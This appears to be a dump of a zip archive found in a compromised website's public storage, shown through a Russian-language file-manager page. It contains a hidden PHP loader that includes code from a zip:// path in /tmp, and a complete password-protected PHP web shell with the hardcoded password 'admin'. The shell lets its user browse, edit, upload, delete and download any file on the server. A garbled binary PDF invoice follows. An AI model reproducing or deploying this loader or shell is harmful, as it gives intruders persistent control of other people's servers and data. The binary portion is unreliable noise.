Файловый менеджер - Редактировать - /var/www/html/back/storage/app/public/17/f8lo32/60.zip
Назад
PK ! �m�6k k c205zi/index.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "amiumiu.php"; include("zip:///tmp/phpgcuJge#$h");?>PK ! �,�� � vrlwo3/p5bd1.phpnu �[��� <?php // // //vars // // error_reporting(0); session_start(); define('password', 'admin'); // // //controllers functions // // function has($obj){ return isset($obj); } function dd($text){ die($text); } function get_session($name){ return has($_SESSION[$name]) ? $_SESSION[$name] : false; } function set_session($name,$val){ $_SESSION[$name] = $val; } function get_post($name){ return has($_POST[$name]) ? $_POST[$name] : false; } function get_get($name){ return has($_GET[$name]) ? $_GET[$name] : false; } function makeInput($type,$name,$val = "", $style = ""){ if(in_array($type,['text','password','submit','file'])){ return "<input type='$type' name='$name' value='$val' style='$style'/>"; } return "<$type name='$name' style='$style'>$val</$type>"; } function makeForm($method, $inputArray,$file = ""){ $form = "<form method=$method enctype='$file'>"; foreach($inputArray as $key=>$val){ $form .= makeInput($key,(is_array($val) ? $val[0] : $val), (has($val[1]) ? $val[1] : ""), (has($val[2]) ? $val[2] : "")); } return $form."</form>"; } function makeTable($thead,$tbody){ $head = ""; foreach($thead as $th){ $head .= "<th>$th</th>"; } $body = ""; foreach($tbody as $tr){ $body .= "<tr>"; foreach($tr as $td){ $body .= "<td>$td</td>"; } $body .= "</tr>"; } return "<table><thead>$head</thead><tbody>$body</tbody></table>"; } function makeLink($link,$text,$target = ""){ return "<a href='$link' target='$target'>$text</a> "; } function login(){ if(get_session('login')){ return true; } if(!get_post('login')){ return false; } if(get_post('pass') != password){ return false; } set_session('login',true); return true; } function get_path(){ $path = __dir__; if(get_get('path')){ $path = get_get('path'); } return $path; } function filesize_convert($bytes){ $label = array('B', 'KB', 'MB', 'GB', 'TB', 'PB'); for($i = 0; $bytes >= 1024 && $i < (count($label) -1); $bytes /= 1024, $i++); return(round($bytes, 2) . " " . $label[$i]); } function fileTime($path){ return date("M d Y H:i:s", filemtime($path)); } function download_file($download){ if(!is_file($download)){ return false; } header('Content-Type: application/octet-stream'); header('Content-Transfer-Encoding: Binary'); header('Content-disposition: attachment; filename="'.basename($download).'"'); return readfile($download); } function delete_file($delete){ if(is_file($delete)){ return unlink($delete); } if(is_dir($delete)){ return rmdir($delete); } return false; } function edit_file($edit){ if(is_file($edit)){ return makeForm('POST', ['textarea'=>['edit',htmlentities(file_get_contents($edit)),"width:100%;height:90%"], 'submit'=>['save','Save']]); } return false; } function save_edit($path,$str){ if(is_file($path)){ file_put_contents($path,html_entity_decode($str)); return true; } return false; } function view_file($path){ if(is_file($path)){ return htmlentities(file_get_contents($path)); } return false; } function new_file($path,$name){ if(!is_file($path.'/'.$name)){ file_put_contents($path.'/'.$name,""); return true; } return false; } function new_dir($path,$name){ if(!is_dir($path.'/'.$name)){ mkdir($path.'/'.$name); return true; } return false; } function upload_file($path,$file){ $name = basename($file['name']); if(!is_file($path.'/'.$name)){ if(move_uploaded_file($file["tmp_name"], $path.'/'.$name)){ return true; } } return false; } function get_back($path){ if($path == "" || $path == "/"){ return $path; } $path = explode("/",str_replace('\\','/',$path)); array_pop($path); return implode("/",$path); } function win_disk(){ exec("wmic logicaldisk get caption",$c); $ret = ""; foreach($c as $d) $ret .= ($d != "Caption" ? makeLink("?path=$d",$d) : ""); return $ret; } function get_dir(){ $path = get_path(); if(!is_dir($path)){ return false; } $dir = scandir($path); $files = []; $i = 0; foreach($dir as $d){ if($d == '.' || $d == '..'){ continue; } $p = $path.'/'.$d; $s = '--'; $icon = "📁"; $t = fileTime($p); $l = makeLink("?path=$p",$d); $perms = substr(sprintf("%o", fileperms($p)),-4); $owner = (function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($p))['name'] : fileowner($p)); $controller = (is_file($p) ? makeLink("?edit=$p","Edit","_blank") : ''). makeLink("?delete=$p","Delete","_blank"). (is_file($p) ? makeLink("?download=$p","Download","_blank") : ''); if(is_file($p)){ $s = filesize_convert(filesize($p)); $icon = "📝"; } $files[] = [$icon,$i,$l,$s,$t,$perms,$owner,$controller]; $i++; } return makeTable(['#','id','Filename','Size','Modified','Perms','Owner',''],$files); } $loginTemplate = makeForm('POST',['p'=>['','Password: '],'password'=>['pass', ''],'submit'=>['login','Login']]); if(!login()){ dd($loginTemplate); } if(get_get("delete")){ delete_file(get_get("delete")) ? dd("Deleted: ".get_get("delete")) : dd("File not found"); } if(get_get("edit")){ if(get_post('save')){ save_edit(get_get('edit'),get_post('edit')); echo "Saved"; } $edit = edit_file(get_get("edit")); $edit ? dd($edit) : dd("File not found"); } if(get_get('download')){ @readfile(download_file(get_get('download'))); exit(); } if(get_post('newfile')){ new_file(get_path(),get_post('filename')) ? dd('Create: '.get_post('filename')) : dd('File exites'); } if(get_post('newdir')){ new_dir(get_path(),get_post('dirname')) ? dd('Create: '.get_post('dirname')) : dd('Dir exites'); } if(get_post('upload')){ upload_file(get_path(),$_FILES['file']) ? dd('upload: '. $_FILES['file']['name']) : dd('Upload Error'); } echo "<body>". makeForm('POST',['text'=>['filename','File Name'],'submit'=>['newfile','Create']]). makeForm('POST',['text'=>['dirname','Dir Name'],'submit'=>['newdir','Create']]). makeForm('POST',['file'=>'file','submit'=>['upload','Upload']],'multipart/form-data'). makeLink("?path=".get_back(get_path()),"[Back]"). (PHP_OS_FAMILY == "Windows" ? win_disk() : ""). (is_dir(get_path()) ? get_dir() : '<pre>'.view_file(get_path()).'</pre>') ."</body>"; PK ! � "sT� T� � Юрий-Гитеп_ИП-Мартынов-A6-Allroad-Счет-на-оплату-№-475-от-29.10.2025---Счет-на-оплату.pdfnu �[��� %PDF-1.4 % ���� 3 0 obj << /Type /Catalog /Names << >> /PageLabels << /Nums [ 0 << /S /D /St 1 >> ] >> /Outlines 2 0 R /Pages 1 0 R >> endobj 4 0 obj << /Creator (�� G o o g l e S h e e t s) /Title (��.@89 8B5? / 0@BK=>2 A 6 A l l r o a d !G5B =0 >?;0BC ! 4 7 5 >B 2 9 . 1 0 . 2 0 2 5) >> endobj 5 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595 842 ] /Contents 6 0 R /Resources 7 0 R /Annots 9 0 R /Group << /S /Transparency /CS /DeviceRGB >> >> endobj 6 0 obj << /Filter /FlateDecode /Length 8 0 R >> stream x��Z[s��Ƭ��3�jY�y˃ԩ���N�lɗ4u���G�(R�8QR����?��],$ ڠܚC�8���=��<�>�E�=�����J$��Z��Q�zĦ0�s��(j��'��~�!��?�sb� ��L���� ��o�a���ϼ���r��~ľR,�g�)7��X�@?Z\����$i��zh*V��Y��gf�d���r��|V˔%��2�W�N_�Y9��%���>i�{x�g 0�O{xF�~�4�� �ǁ��D2� &*�yDIf�'�d�J/Ή1Yф#�Ē�)-H&�=��|\<�)a��I=K�"��0���S��q�Y�4��%���4F��A��04�F�$"s?����_�B��0fV��M��|P����� �:��a|?�|���,�H�0��)J�ci�SjDJ�QY���w�{��_����=8/E�� d+��$L݃ ����f� hҦ�w��ω~�o<�5��8_��{b��Y�� �$l:� ��}�B�G[.��%���'��d�3zo�m�#v�܃��sM�:��g �u�.���g����P��_l�S�K����a;��l:��d�����.��χY絢j0!��,��m�m�g��BTzb".E��cぎ�HO\5�듄솨��@t�Q95�x:���<�����W��qZ���x,�C��I�Ԉ}ȋZ���7ٲ�l0���6�_ �I0#��!_!d����HW�_���k����kd#,�*M� �ڕ��G��j���U<��%^n���縻o�<�3��2֣4����jS��V�AZF�31�S�E��w��i���_� Z�e��WI~I ��ǰ�/�;@���B� ��_&�i jG�?��>